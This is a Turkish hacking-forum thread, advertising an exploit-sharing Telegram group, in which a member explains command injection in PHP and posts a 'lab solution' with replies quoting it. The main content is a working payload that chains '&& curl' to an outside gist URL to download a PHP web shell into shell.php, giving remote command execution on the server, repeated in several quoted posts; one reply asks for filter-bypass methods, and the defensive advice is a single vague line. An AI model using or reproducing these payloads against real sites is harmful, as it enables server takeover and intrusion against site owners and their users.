exploit paylaşım grubumuz: t.me/HTTPwnn

Command Injection nedir, nasıl sömürülür?

  • Konu başlatıcı Konu başlatıcı LIO
  • Başlangıç Tarihi Başlangıç Tarihi

LIO

WarNight Member
Katılım
17 Haz 2026
Mesaj
10
Reaksiyon
15
Puan
3
xentr_thread_starter
Command injection en sade anlatımla şudur: Admin bize bir işi shell komutu ile yaptırır ama o shell'de yeni komut çalıştırabiliriz,
Örneğin sitenin admini bir kod yazmış shell_exec("ping " . $_GET['ip']); şeklinde, burada biz ?ip=127.0.0.1 de yazabiliriz normal bir kullanıcıysak,
Ama sen hackersin burada enjeksiyon arıyorsun, orayı
?ip=127.0.0.1 && curl https://gist.githubusercontent.com/...855c1b7a93ef1150/easy-simple-php-webshell.php >>shell.php
yaptın, arka planda çalışan komut şu olur:
ping 127.0.0.1 && curl https://gist.githubusercontent.com/...855c1b7a93ef1150/easy-simple-php-webshell.php >>shell.php


Peki bu zaafiyet nasıl kapatılır?
Ya kullanıcıdan gelen verinin içinde | veya & işareti var mı kontrol edilmeli ama yine de bu pek güvenli olmaz yapacağın iş için uygun fonksiyonu kullanmak en doğrusu olur,

Lab çözümü (aşağıdan indirip kurabilirsiniz):

Burada yorum yazma fonksiyonunda bir komut enjeksiyonu açığı vardır, system("echo " . $bro . ": " . $contentofmessage . ">> ./../com-data/coms.txt"); kodunda biz $bro yani isim kısmına normal bir isim yazdık diyelim, yorum yerine de öyle bişey yazacağız ki shell'de kendi komutumuz çalışacak, bu yüzden benim geliştirdiğim bir payload var: yorum atarken isim yerine can yazalım yorum yerine de abc >>deneme.txt && curl https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/c871f130a12e97090a08d0ab855c1b7a93ef1150/easy-simple-php-webshell.php >>shell.php && echo 123 yazalım arkada çalışan komut şu olur:
"
echo can: abc >>deneme.txt && curl https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/c871f130a12e97090a08d0ab855c1b7a93ef1150/easy-simple-php-webshell.php >>shell.php && echo 123 >>./../com-data/coms.txt" bu şekilde shell.php'ye girdiğimizde artık sunucuda direkt komut çalıştırabiliriz.


Biraz kısa oldu sanırım, bu yüzden basit bir lab kodladım onu da lokale kurup çözebilirsiniz:
 

Ekli Dosyalar

Son düzenleme:
Command injection en sade anlatımla şudur: Admin bize bir işi shell komutu ile yaptırır ama o shell'de yeni komut çalıştırabiliriz,
Örneğin sitenin admini bir kod yazmış shell_exec("ping " . $_GET['ip']); şeklinde, burada biz ?ip=127.0.0.1 de yazabiliriz normal bir kullanıcıysak,
Ama sen hackersin burada enjeksiyon arıyorsun, orayı
?ip=127.0.0.1 && curl https://gist.githubusercontent.com/...855c1b7a93ef1150/easy-simple-php-webshell.php >>shell.php
yaptın, arka planda çalışan komut şu olur:
ping 127.0.0.1 && curl https://gist.githubusercontent.com/...855c1b7a93ef1150/easy-simple-php-webshell.php >>shell.php

Biraz kısa oldu sanırım, bu yüzden basit bir lab kodladım onu da lokale kurup çözebilirsiniz:
kısa ve öz anlatım güzel olmus knk e.s , ek öneri istersen bu zafiyeti nasıl önlerizden bahsedebilirdin birde komut enjeksiyonunun türleri ve senaryolara göre uygulanan engelleri nasıl bypass edebilcegimizden bahsedebilirdin:d e.s e.s e.s
 
  • Like
Tepkiler: LIO
Command injection en sade anlatımla şudur: Admin bize bir işi shell komutu ile yaptırır ama o shell'de yeni komut çalıştırabiliriz,
Örneğin sitenin admini bir kod yazmış shell_exec("ping " . $_GET['ip']); şeklinde, burada biz ?ip=127.0.0.1 de yazabiliriz normal bir kullanıcıysak,
Ama sen hackersin burada enjeksiyon arıyorsun, orayı
?ip=127.0.0.1 && curl https://gist.githubusercontent.com/...855c1b7a93ef1150/easy-simple-php-webshell.php >>shell.php
yaptın, arka planda çalışan komut şu olur:
ping 127.0.0.1 && curl https://gist.githubusercontent.com/...855c1b7a93ef1150/easy-simple-php-webshell.php >>shell.php


Peki bu zaafiyet nasıl kapatılır?
Ya kullanıcıdan gelen verinin içinde | veya & işareti var mı kontrol edilmeli ama yine de bu pek güvenli olmaz yapacağın iş için uygun fonksiyonu kullanmak en doğrusu olur,

Lab çözümü (aşağıdan indirip kurabilirsiniz):

Burada yorum yazma fonksiyonunda bir komut enjeksiyonu açığı vardır, system("echo " . $bro . ": " . $contentofmessage . ">> ./../com-data/coms.txt"); kodunda biz $bro yani isim kısmına normal bir isim yazdık diyelim, yorum yerine de öyle bişey yazacağız ki shell'de kendi komutumuz çalışacak, bu yüzden benim geliştirdiğim bir payload var: yorum atarken isim yerine can yazalım yorum yerine de abc >>deneme.txt && curl https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/c871f130a12e97090a08d0ab855c1b7a93ef1150/easy-simple-php-webshell.php >>shell.php && echo 123 yazalım arkada çalışan komut şu olur:
"
echo can: abc >>deneme.txt && curl https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/c871f130a12e97090a08d0ab855c1b7a93ef1150/easy-simple-php-webshell.php >>shell.php && echo 123 >>./../com-data/coms.txt" bu şekilde shell.php'ye girdiğimizde artık sunucuda direkt komut çalıştırabiliriz.


Biraz kısa oldu sanırım, bu yüzden basit bir lab kodladım onu da lokale kurup çözebilirsiniz:
bakalım
 
Geri
En Üst